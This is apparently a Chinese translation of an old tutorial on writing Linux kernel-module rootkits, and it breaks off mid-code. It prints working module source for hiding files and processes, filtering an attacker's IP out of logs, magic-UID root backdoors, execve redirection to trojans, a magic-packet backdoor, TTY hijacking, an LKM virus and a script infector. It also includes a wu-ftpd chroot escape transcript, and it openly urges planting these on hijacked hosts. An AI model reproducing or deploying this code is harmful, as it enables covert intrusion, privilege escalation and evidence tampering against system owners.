#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; char hide[]="ourtool"; /*我们要隐藏的文件*/ /*调用原来的getdents -> 将结果保存于临时文件tmp */ tmp = (*orig_getdents) (fd, dirp, count); /*对磁盘缓冲的操作*/ /*这个检查是必须的,因为如果曾经有getdents被调用并且将结果保存缓冲区……*/ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif /*dinode是所需的目录的索引结点*/ if (tmp > 0) { /*dirp2是新的dirent结构*/ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); /*将dirent结构拷至dirp2*/ memcpy_fromfs(dirp2, dirp, tmp); /*将dirp3指向dirp2*/ dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; /*检查当前文件名是否是我们想要隐藏的名称*/ if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL) { /*如果有必要的话,修改dirent结构*/ if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*载入*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_getdents]=orig_getdents; }
对新手来说:读代码及注释,并且思考10分钟,才继续下一单元吧。
这一修改是很实用的,但是要记住系统管理员仍然能够通过直接'cat ourtool' 或者 'ls ourtool' 来察看我们的宝贝文件,所以最好不要用一些常规的名字——象sniffer,mountdxpl.c等等是不好的,当然还有很多方法可以让管理员什么都看不到,继续往下读吧。
最简单的方法是,截获open调用并且检查文件名是否是ourtool,如果是的话,就拒绝任何open的尝试,所以read/write都不可能实现了,OK,让我们在LKM里实现它吧:
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode) { char *kernel_pathname; char hide[]="ourtool"; /*this is old stuff -> transfer to kernel space*/ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)&hide ) != NULL) { kfree(kernel_pathname); /*返回一个'file does not exist'的error code*/ return -ENOENT; } else { kfree(kernel_pathname); /*没关系,文件名不是ourtool……*/ return orig_open(pathname, flag, mode); } } int init_module(void) /*加载*/ { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=hacked_open; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_open]=orig_open; }
它工作得非常好,会告诉企图存取咱们的文件的家伙——他请求的文件不存在,但如何才能进入这些文件呢,这里有一些方法:
这里可以使用的方法很多,就当作习题让大家自行发挥想象力吧;)
在上一节里的知识对我们隐藏自己的工具及log是相当有帮助的,但我们要如何编辑管理员或者其它用户的文件呢,想象一下,如 果你想要控制/var/log/messages,让它不显示你的IP或者域名。虽然有无数种后门可以把我们置身于log文件之外,但如何用LKM来过滤 某个文件中所有你想过滤的东西呢——如果我们的IP或者域名出现时,拒绝将它写出来就可以了……下面是一个很基础的LKM,用来验证我们的想法,大家可以 看一看。
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count); int hacked_write(unsigned int fd, char *buf, unsigned int count) { char *kernel_buf; char hide[]="127.0.0.1"; /*我们想要隐藏的IP地址*/ kernel_buf = (char*) kmalloc(1000, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, 999); if (strstr(kernel_buf, (char*)&hide ) != NULL) { kfree(kernel_buf); /*say the program, we have written 1 byte*/ return 1; } else { kfree(kernel_buf); return orig_write(fd, buf, count); } } int init_module(void) /*加载*/ { orig_write=sys_call_table[SYS_write]; sys_call_table[SYS_write]=hacked_write; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_write]=orig_write; }
当然这个LKM也有一些不足,比如它不检查write到哪里去(可以通过检查fd来实现),所以象'echo '127.0.0.1''这样的名令就会被打印出来。
你也可以编辑你想要写入的字符串,比如,你想把某个家伙的IP地址写进去……那么只要是你做坏事,别人cat messages时总看到别人;)
命令touch并不会使用open来建立东西;下面是我对它运行strace所显示的一些东西——经过简化的 :
... stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory) creat("ourtool", 0666) = 3 close(3) = 0 _exit(0) = ?
你可以看到系统用了sys_creat(..)的系统调用来建立一个新文件,这里也就不提供代码了,因为这相当简单,仅仅是截获sys_creat(...)并且将文件名用printk(...)写到某个记录文件里。
这同样也是AFHRM记录重要事件的方法。
我们来看看他是如何实现的——仅仅展示hacked_setuid系统调用,其它省略了……
... int hacked_setuid(uid_t uid) { int tmp; /*我们是否具有这个magic UID (这个在前面定义好了)*/ if (uid == MAGICUID) { /*if so set all UIDs to 0 (SuperUser)*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } ...
下面这个小段子应该也是有一定用处的吧,你可以把它装在一个傻乎乎的系统管理员的主机上——为什么这么说呢,因为这里面我没有实现任何隐藏的功能,仅仅是一个用uid判断来加载rootshell的后门原型而已……
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid() { int tmp; /*检查俺的UID*/ if (current->uid=500) { /*如果是俺进来的话 -> 开门揖盗 -> 送rootshell给我*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*orig_getuid) (); return tmp; } int init_module(void) /*加载*/ { orig_getuid=sys_call_table[SYS_getuid]; sys_call_table[SYS_getuid]=hacked_getuid; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_getuid]=orig_getuid; }
这样你在登陆的时候还是用普通用户帐号进入,但一进入就会得到rootshell。
(这就是xundi前几天翻译的东西呀……faint)这个想法是HISPAHACK提出来的,他们发表了一篇很好的文章 "冲破FTP的限制"我在这里简短地把他们的思想表达一下。要明白的是这里的示范并非在所有的环境里都可能实现,要看wuftp的版本号了,这里想展示的是如何利用lkm来实现突破chroot。 我们先来看看下面的目录权限:
drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/
在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它):
OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的:
当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls, 注意,这个ls一般是受限用户下的/bin/ls程序。
我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。
不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot() 是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。
如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0) 并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。
所以下面描述摆脱chroot()的限制:
就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot().
ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。
另 外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。这 里我们要捕获的是sys_chroot(...),HISPAHACK用的办法比较"粗暴";),他们仅仅修改sys_chroot(...) 并返回0表示什么也没做,这样我们就可以开启新的不受chroot限制的进程了也就是说我们可以以 uid=0来访问这个系统了,下面是HISPAHACK的"黑的过程":
thx:~# ftp
ftp> o ilm
Connected to ilm.
220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
Name (ilm:root): user
331 Password required for user.
Password:
230 User user logged in. Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.</TT></PRE>
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> cd ..
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
d--x--x--x 2 root root 1024 Jun 21 11:26 bin
drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
226 Transfer complete.
ftp> ls bin/ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
226 Transfer complete.
ftp> ren bin bin.old
350 File exists, ready for destination name
250 RNTO command successful.
ftp> mkdir bin
257 MKD command successful.
ftp> cd bin
250 CWD command successful.
ftp> put ls
226 Transfer complete.
ftp> put insmod
226 Transfer complete.
ftp> put chr.o
226 Transfer complete.
ftp> chmod 555 ls
200 CHMOD command successful.
ftp> chmod 555 insmod
200 CHMOD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
UID: 0 EUID: 1002
Cambiando EUID...
UID: 0 EUID: 0
Cargando modulo chroot...
Modulo cargado.
226 Transfer complete.
ftp> bye
221 Goodbye.
thx:~#
在附录里你可以找到完整的ls命令以及使用的模块。
我们每天经常做的一件事就是,把我们的进程更好地藏在系统管理员的眼皮底下,想象一下,如果我们攻克了一个系统,上面是否运行着 sniffer\cracker...,当管理员一运行ps的时候,一切无可遁形,很陈旧的办法是将进程改为一些常见的东西,或者祈祷管理员是个呆子;) 在21世纪,这些方法是太过粗糙了,我们需要的是能够完全隐藏进程的东西,所以让我们先来看看plaguz所实现的吧——我只做了很小的更改:
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <linux/proc_fs.h> extern void* sys_call_table[]; /*我们想要隐藏的进程名*/ char mtroj[] = "my_evil_sniffer"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); /*将string转换为数字*/ int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /*从PID里取得任务列表的结构*/ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /*从任务列表里取得进程的名字*/ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } /*检查这个进程是否是我们想要隐藏的家伙*/ int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /*从II.4 你可以找到更多关于文件系统的细节,这里不多说*/ int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*orig_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc=1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*加载*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_getdents]=orig_getdents; }
这些代码看起来似乎复杂难懂,其实这里你需要了解的是ps或者相似的进程是如何运行的,然后再来看代码…… 象ps之类的命令并不是直接用任何特殊的系统调用来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的 (比较奇怪吧;),那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息,所以呢,ps命令其实就是对/proc运行了 ls而已,而进程的相关信息,则是在/proc/PID的目录里放着,好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到 sys_getdents(...),我们只要从PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目 录一样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名字的,至于文件隐藏,不用我多 说了罢。
Runar Jensen使用了一种更复杂的技术,虽然他同样是隐藏/proc里的PID,但在检查是否要隐藏时有少许不同。他在任务结构(task structure)中使用了标记域(flags field),这个unsigned的long值通常是下面的常量:
在某些情况下,我们可能会想对某些可执行文件进行重定向,这些文件可能是/bin/login或者tcpd等等—— 你不会问我重定向它们有什么用吧;)——这样你就可以自由地在系统里装进大把的木马而不怕有checksum的问题了(因为我们根本就没有替换到它们)。好吧,重复劳动,我们再来找相关的系统调用吧,就是sys_execve(...) 了,我们看看plaguez是怎么做的 :
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> extern void* sys_call_table[]; /*因为后面的syscall宏要用到,所以必需defined */ int errno; /*define我们自己的systemcall*/ int __NR_myexecve; /*需要用到brk*/ static inline _syscall1(int, brk, void *, end_data_segment); int (*orig_execve) (const char *, const char *[], const char *[]); /*here plaguez's user -> kernel space transition specialized for strings is better than memcpy_fromfs(...)*/ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } /*this is something like a systemcall macro called with SYS_execve, the asm code calls int 0x80 with the registers set in a way needed for our own __NR_myexecve systemcall*/ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { char *test; int ret, tmp; char *truc = "/bin/ls"; /*the file we *should* be executed*/ char *nouveau = "/bin/ps"; /*the new file which *will* be executed*/ unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); /*get file which a user wants to execute*/ (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; /*do we have our truc file ?*/ if (!strcmp(test, truc)) { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; /*set new program name (the program we want to execute instead of /bin/ls or whatever)*/ memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); /*execute it with the *same* arguments / environment*/ ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); /*no the program was not /bin/ls so execute it the normal way*/ ret = my_execve(filename, argv, envp); } return ret; } int init_module(void) /*加载*/ { /*下面的代码是选择我们要执行的myexeve的systemcall号*/ __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = orig_execve; sys_call_table[SYS_execve] = (void *) hacked_execve; } return 0; } void cleanup_module(void) /*卸载*/ { sys_call_table[SYS_execve]=orig_execve; }
当你加载了这个模块后,所有运行/bin/ls的都会跑到/bin/ps去,下面是一些对重定向的想法 :
通过控制socket的操作可以做很多事,plaguez提供了一个很好的后门,他仅仅是截断了sys_socketcall系统调用,然后等待特定长度及特定内容的包,我们来看一看他hacked systemcall吧——这里我只给出了部份代码,因为其它部分和一般的LKM没什么两样。
int hacked_socketcall(int call, unsigned long *args) { int ret, ret2, compt; /*我们所要的定长的包*/ int MAGICSIZE=42; /*我们定义的特定的内容*/ char *t = "packet_contents"; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; /*调用*/ ret = (*o_socketcall) (call, args); /*是否是这个长度的包被接收到*/ if (ret == MAGICSIZE && call == SYS_RECVFROM) { /*work on arguments*/ a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; /*是否具有我们定义的内容*/ if (strstr(buf, mtroj)) { kfree(buf); ret2 = fork(); if (ret2 == 0) { /*如果是的话,就执行一个shell或者做你想做的任何事*/ mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /*通过我们的my_execve(...)执行backdoor程序,参见4.2*/ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; }
这段代码截取所有的sys_socketcall,在这个hacked sysemcall中,它首先执行了正常的系统调用,然后然后检查返回值及调用的变量,如果收到的socketcall肯有我们定义好的大小,再检查是否有我们定义的内容,如果是的话,那么backdoor程序就开始运行,通过my_execve(...)执行……。
但 是这种方法需要在某个端口有提供服务,因为必须通过establish的连接才能够接收包,这有些问题,因为一个偏执狂的系统管理员会因此怀疑系统中装有 后门,测试这些后门LKM的办法是先在你自己的机器上玩,察看系统会出现什么变化,找出你觉得最好玩的想放后门的sys_socketcall,然后扔到 某台你已经拥有的倒霉蛋的机器上……
TTY hijacking在很早以前就被人们所使用了,它是相当有趣的。我们可以通过指定某个TTY的major及minor值,来获取在它上面的所有输入。在 phrack第50期halflife有一个很好的LKM就是做这事情的。下面的代码是从他的程序中抽取出来的,它可以给所有的初学者显示最基本的TTY hijacking技巧,但这里的代码并不够完整,因为它并没有将TTY的输入记录下来,因此并不实用,仅是示范而已,让我们开始吧:
#define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #include <linux/string.h> #include <linux/fs.h> #include <linux/malloc.h> #include <asm/io.h> #include <sys/sysmacros.h> int errno; /*我们想要hijack的TTY*/ int tty_minor = 2; int tty_major = 4; extern void* sys_call_table[]; /*需要write systemcall*/ static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); void *original_write; /* 看看是不是我们要监听的TTY */ int is_fd_tty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0; if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) return 0; mymajor = major(inode->i_rdev); myminor = minor(inode->i_rdev); if(mymajor != tty_major) return 0; if(myminor != tty_minor) return 0; return 1; } /* this is the new write(2) replacement call */ extern int new_write(int fd, char *buf, size_t count) { int r; char *kernel_buf; if(is_fd_tty(fd)) { kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, count); /*在这里你可以将buf输出到任何地方,你可以从附录里看到完整的 tty hijacking代码,所以这里没有实现记录的功能 */ kfree(kernel_buf); } sys_call_table[SYS_write] = original_write; r = write(fd, buf, count); sys_call_table[SYS_write] = new_write; if(r == -1) return -errno; else return r; } int init_module(void) { /*这里需要理解*/ original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; return 0; } void cleanup_module(void) { /*没有hijacking*/ sys_call_table[SYS_write] = original_write; }
这一想法是截获sys_write,在检查TTY的fd后判断我们想要监听的TTY,并将sys_write的东西写到log里——使用缓冲区。
我建议你的log必须是隐藏的——通过LKM,并且用某些IPC来控制。
如果你要写这么一个模块的话,简单地中断sys_create_module及sys_delete_module及某些其它调用(当需要实现更多功能时—),第一个问题是,我们如何传染现有的模块?让我们做个实验吧:
# cat module1.o >> module2.o
这么做之后,让我们试试insmod modules2.o看能不能成功——它已经包括了module.o了!
# insmod module2.o
很好,成功加载了,现在检查一下系统里面的模块吧……
# lsmod
Module Pages Used by
module2 1 0
现在我们知道了,如果我们简单连接两个模块的话,第一个会被加载,但第二个将被忽略,并且它不会在insmod的时候报告错误。
那么我们是不是可以:
cat host_module.o >> virus_module.o
ren virus_module.o host_module.o
这样我们加载host_module.o时实际加载的就是病毒了。但这里有一个问题,就是如何加载上实际的host_module? 对系统管理员或者用户来说,如果有一个device不动了,想必会大为诧异吧。这里我们就需要kerneld的帮助了。在I.7 里我提到过你可以利用kerneld来加载模块——只要用request_module("module_name)就可以了,但我们到哪里去找原来的 host_module.o呢?它还在host_module.o——实际上是virus_module.o里,所以在编译完 virus_module.c后我们要看看目标文件的大小,这样你就可以知道host_module.o在二合一的家伙里的位置了。一系列工作做完后,你 的 virus_module中就可以提取出原来的host_module.o了,你可以将这个提取出来的文件放在某处,到时候通过 request_module("orig_host_module.o")来加载,当把正常的host_module.o也加载后,应该说你的感染工作 已经做得比较成功了……
Stealthf0rk (SVAT)使用了sys_delete_module(...)系统调用来进行感染,现在让我们来看看他的代码吧 :
/*just the hacked systemcall*/ int new_delete_module(char *modname) { /*感染的模块的数量*/ static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; /*呼回原来的sys_delete_module*/ retval = old_delete_module(modname); if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; /*检查感染的文件 -> 这是由hacked sys_create_module实现的; 仅仅是 这个LKM infector的一个特性而已*/ for (i = 0; files2infect[0] && i < 7; i++) { strcat(files2infect, ".o"); if ((s = get_mod_name(files2infect)) == NULL) { return retval; } name = strcpy(name, s); if (!is_infected(name)) { /*仅仅是一个包装printk(...)的宏*/ DPRINTK("try 2 infect %s as #%d\n", name, i); /*计数器(被感染者)增加*/ infected++; /*感染的函数*/ infectfile(name); } memset(files2infect, 0, 60 + 2); } /* for */ /* 够了…… */ /*有多少模块被感染,如果到了一定数目,就停止*/ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } 这里面仅有一个系统调用是相当有趣的,它是infectfile(...),让我们来看看它吧: int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; /*don't get confused, this is a macro define by the virus. It does the kernel space -> user space handling for systemcall arguments(see I.4)*/ BEGIN_KMEM /*打开准备卸载的模块目标文件*/ in = open(filename, O_RDONLY, 0640); /*建立临时文件*/ out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); /*参见BEGIN_KMEM*/ END_KMEM DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /*复制模块的objectcode到file2*/ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /*从 mem 里写virecode */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; }
这个infection函数应该是相当清楚的了。
还剩一件应该讨论的事了:如何让这个infected模块开始?并且加载原来正常的模块?我们知道原理,但还没有实践。
/* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { int r = 0, i = 0; struct file *file1, *file2; int in = 0, out = 0; DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM /*open the module just loaded (->the one which is already infected)*/ in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* 读Vircode [到 mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM /*将病毒及正常的模块分开*/ disinfect(path_name); /*通过kerneld加载正常模块*/ r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; }
现在你应该很清楚为什么LKM infector需要kerneld了吧,我们需要它,通过request_module(...)来加载最初的模块。下面一小节我们将对这一基础进一步扩展。
这只是用来验证LKMs也能感染可执行文件——甚至java也可能被感染,好吧,看看这个script infector的代码吧。
#define __KERNEL__ #define MODULE /*taken from the original LKM infector; it makes the whole LKM a lot easier*/ #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds()); #define END_KMEM set_fs(old_fs);} #include <linux/version.h> #include <linux/mm.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/types.h> #include <asm/errno.h> #include <asm/string.h> #include <linux/fcntl.h> #include <sys/syscall.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/kernel.h> #include <linux/kerneld.h> int __NR_myexecve; extern void *sys_call_table[]; int (*orig_execve) (const char *, const char *[], const char *[]); int (*open)(char *, int, int); int (*write)(unsigned int, char*, unsigned int); int (*read)(unsigned int, char*, unsigned int); int (*close)(int); /*参见II.4.2 的解释*/ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } /*感染syscall及感染程序*/ int hacked_execve(const char *filename, const char *argv[], const char *envp[]) { char *test, j; int ret; int host = 0; /*一个buffer用来读文件——需要验证是否是可执行文件*/ test = (char *) kmalloc(21, GFP_KERNEL); /*打开host脚本——一会要被执行的*/ host=open(filename, O_RDWR|O_APPEND, 0640); BEGIN_KMEM /*读前20个字节*/ read(host, test, 20); /*如果是个普通的shell脚本,编辑它*/ if (strstr(test, "#!/bin/sh")!=NULL) { /*小小的用于debug的信息*/ printk("<1>INFECT !\n"); /*我们还是很友好的,没有做什么破坏;)*/ write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME")); } END_KMEM /*更改结束,可以关掉host了*/ close(host); /*清空allocated memory*/ kfree(test); /*执行文件 (带有我们的更改的可执行文件……*/ ret = my_execve(filename, argv, envp); return ret; } int init_module(void) /*加载*/ { __NR_myexecve = 250; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; orig_execve 